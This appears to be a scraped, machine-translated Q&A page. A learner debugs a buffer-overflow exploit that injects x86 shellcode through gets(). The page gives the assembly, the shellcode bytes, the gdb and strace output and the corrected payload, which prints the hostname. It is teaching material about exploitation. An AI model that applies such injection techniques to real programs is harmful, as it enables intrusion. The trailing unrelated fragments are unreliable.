- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在尝试学习缓冲区溢出的基础知识,因此我编写了以下代码将其注入(inject)缓冲区:
//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;" //ebx point to buffer
"xorl %eax, %eax;" //erase data in register
"addb $0x7a, %al;" //syscall number
"int $0x80;" //raise interruption
//write(fd, *buf, size)
"movb $0x04, %al;" //syscall number
"xorl %ebx, %ebx;" //erase data in register
"movb $0x01, %bl;" //add 1 as file descriptor
"lea 0x41(%esp), %ecx;" //get address where hostname is
"xorl %edx, %edx;" //erase data in register
"addb $0x05, %dl;" //set buffer size (as I only want "Kali" string)
"int $0x80;" //raise interruption
//exit(0)
"movb $0x01, %al;" //syscall number
"xorl %ebx, %ebx;" //set 0 in register
"int $0x80;" //raise interruption
上面的代码可以工作并且具有以下字节码(也可以工作):
\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80
这个字符串,带有一些NOP和末尾指向堆栈的地址,通过易受攻击的get()函数传递给目标程序。执行时可以看到,strace 命令的以下输出中调用了 uname 系统调用:
(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault
我不明白的是,为什么当检查 gdb 中的核心转储以了解为什么抛出段错误时,我在整个堆栈的任何位置都看不到我的字节码。可能是 uname 覆盖了它吗?因为理论上有足够的空间,390字节。我错过了什么吗?
谢谢
更新:
main 调用的易受攻击的函数如下所示:
void function() {
char buf[100];
gets(buf);
printf(buf);
}
我已经使用 gdb 进行了单步调试,并且字节代码已正确放置在堆栈中,但我无法(不知道如何)调试在堆栈中执行的指令。
从 strace 的输出中可以看出(它表明二进制文件调用了哪些系统调用),最后完成的事情是 uname 调用。这就是为什么理论上它会覆盖堆栈中的指令(触发段错误时的eip是:0xbffff350)。
这里是返回main之前的栈值(实际上是返回栈顶地址):
(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff300: 0x90 0x90 0x81 0xc4 0x7a 0xfe 0xff 0xff
0xbffff308: 0x89 0xe3 0x31 0xc0 0x04 0x7a 0xcd 0x80
0xbffff310: 0xb0 0x04 0x31 0xdb 0xb3 0x01 0x8d 0x4c
0xbffff318: 0x24 0x41 0x31 0xd2 0x80 0xc2 0x05 0xcd
0xbffff320: 0x80 0xb0 0x01 0x31 0xdb 0xcd 0x80 0x90
0xbffff328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
此外,当运行可执行文件并在 gdb 中传递字节码(运行 < byteCodeFile)时,不会触发段错误,而是“正常退出”,尽管它不打印任何内容。
更新2:
Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.
事实上它正在打印一些东西。有时是“kali”这个词(所以它可以正常工作),有时只是一两个字节。
更新3:
使用核心转储启动时 gdb 的输出是:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbffff350 in ?? ()
它调用uname函数并抛出段错误。
运行里面的程序时gdb的输出(运行
��[Inferior 1 (process 5271) exited normally]
所以它打印一些东西然后退出。
程序的编译是通过以下选项完成的:
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c
更新4:
我已将 390 更改为 500,成为 4 的倍数,正如@Jester 在评论中指出的那样。现在它可以在终端中运行,但不能在 gdb 和新终端中运行。我认为这是相关的,因为它们有另一个内存布局,因此必须更改字节码末尾的地址。
问题
1.- 当不使用 gdb 执行易受攻击的程序时,为什么会触发段错误以及为什么在分析核心转储时字节码没有显示在堆栈中的任何位置?
2.- 当使用 gdb 执行程序(运行 < byteCodeFile)时,为什么会得到不同的结果? Uname 会始终使用相同的信息填充 esp 的缓冲区(仅在开始时进行修改),因此 write 应该始终正确执行,不是吗?
最佳答案
最终的汇编代码如下所示(仅将-390更改为-500):
//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;" //ebx point to buffer
"xorl %eax, %eax;" //erase data in register
"addb $0x7a, %al;" //syscall number
"int $0x80;" //raise interruption
//write(fd, *buf, size)
"movb $0x04, %al;" //syscall number
"xorl %ebx, %ebx;" //erase data in register
"movb $0x01, %bl;" //add 1 as file descriptor
"lea 0x41(%esp), %ecx;" //get address where hostname is
"xorl %edx, %edx;" //erase data in register
"addb $0x05, %dl;" //set buffer size
"int $0x80;" //raise interruption
//exit(0)
"movb $0x01, %al;" //syscall number
"xorl %ebx, %ebx;" //set 0 in register
"int $0x80;" //raise interruption
最终的字节码:
\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80
1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?
问题似乎是 390 不是 4 的倍数,因此导致了一些错误。而且整个字节码大小也是错误的。
2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?
gdb 中的地址必须与在加载环境变量时通过终端利用该程序所使用的地址不同。这里有更好的解释:Buffer overflow works in gdb but not without it
关于c - 缓冲区溢出中的 Unname 系统调用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53638845/
每次我想要删除第一列时,它总是被命名为‘UNNAME’,并在每次我想要保存更改时出现。在我这样做之后,列将收获或不删除,我如何删除这些未命名的行并保存对数据帧的更改,以便完全从这些列中清除并将‘Tim
import pandas as pdimport seaborn as snimport matplotlib.pyplot as pltfrom datetime import datet
每次我想要删除第一列时,它总是被命名为‘UNNAME’,并在每次我想要保存更改时出现。在我这样做之后,列将收获或不删除,我如何删除这些未命名的行并保存对数据帧的更改,以便完全从这些列中清除并将‘Tim
我的源代码在 java 7 上编译并在 java 11 上运行。 我正在尝试将 imperva RASP 作为 java 代理集成到 tomcat 中。但是,当我启动 tomcat 服务器时,它抛出以
尝试在 JMX 控制台中注册 MBean 时收到以下错误消息: The package javax.management is accessible from more than one module
我正在尝试学习缓冲区溢出的基础知识,因此我编写了以下代码将其注入(inject)缓冲区: //uname(*buf) "addl $-390, %esp;" //save space for buff
我试图弄清楚 Web 组件是如何工作的,但无法完全理解插槽中回退内容的规则: 我有一个像这样的网络组件: const template = document.createElement('templa
public class Test { public static void main(String[] args) { DemoAbstractClass abstractC
我遇到了一个问题,每次运行我的程序(从 .csv 文件读取数据帧)时,都会出现一个名为“未命名”的新列。 运行 3 次后的示例输出列 - Unnamed: 0 Unnamed: 0.1
我目前正在做一些 Windows 7 内核调试工作,对于我正在查看的许多结构,windbg 没有给出结构名称,而是简单地显示 。 这是 IRP 结构的示例: 我猜这个结构因此被它的名字以外的东西引用,
假设有以下函数: void SetTheSize(const SIZE *size) { ... } 有没有办法在不指定 SIZE 变量的情况下调用该函数?例如, SetTheSize((const
以下代码(在包中注册时)为我们提供了一个在托盘 Test 中注册的名为 TParentComponent 的组件。 但是,当您使用属性编辑器(在同一代码中提供)创建子对象时,IDE 会显示错误消息无法
这是我的 POJO。 public class FolderPage { private List applications; public List getApplications() {
我正在读取 excel 文件作为数据框。但是,我的前三列有标题,其余的只需要一个数字索引。当我读取文件时,我得到下面的输出。 a b c Unna
这是我使用 PyCharm 多年以来从未遇到过的问题。我将文件系统中的一个文件夹复制到项目中,新文件夹标有红色小“m”图标和 ()。已附加到文件夹名称。出于好奇,我创建了一个新文件夹并将文件复制到其中
我在一个多模块项目中使用 maven,它工作正常。但是当它开始时,它指的是一些未命名的项目。为什么会发生这种情况,我该如何解决? 最佳答案 在每个子模块中,只需指定 : ... M
我正在将基于 C 代码的程序转换为 Windows 7 64 it 操作系统上的 Unicode visual studio 2008。我已经成功地将所有非 unicode 函数转换为 unicode
如果我有这样的东西: 我可以:window.parent.document.getElementById('parent').innerHTML。但是我有这样的东西: 有办法访问这个吗?我
有没有一种方法可以命名泛型 Func 的参数以支持智能感知? 例子: Func f1 = new Func( (a, b) => { return a + b } ); f1(2, 3); 最
当我这样做时,在 Ubuntu 终端中: $ db2 使用 db2inst1 连接到示例用户 db2inst1 我得到回应: 数据库服务器无法执行身份验证,因为服务器上与安全相关的数据库管理器文件没有
我是一名优秀的程序员,十分优秀!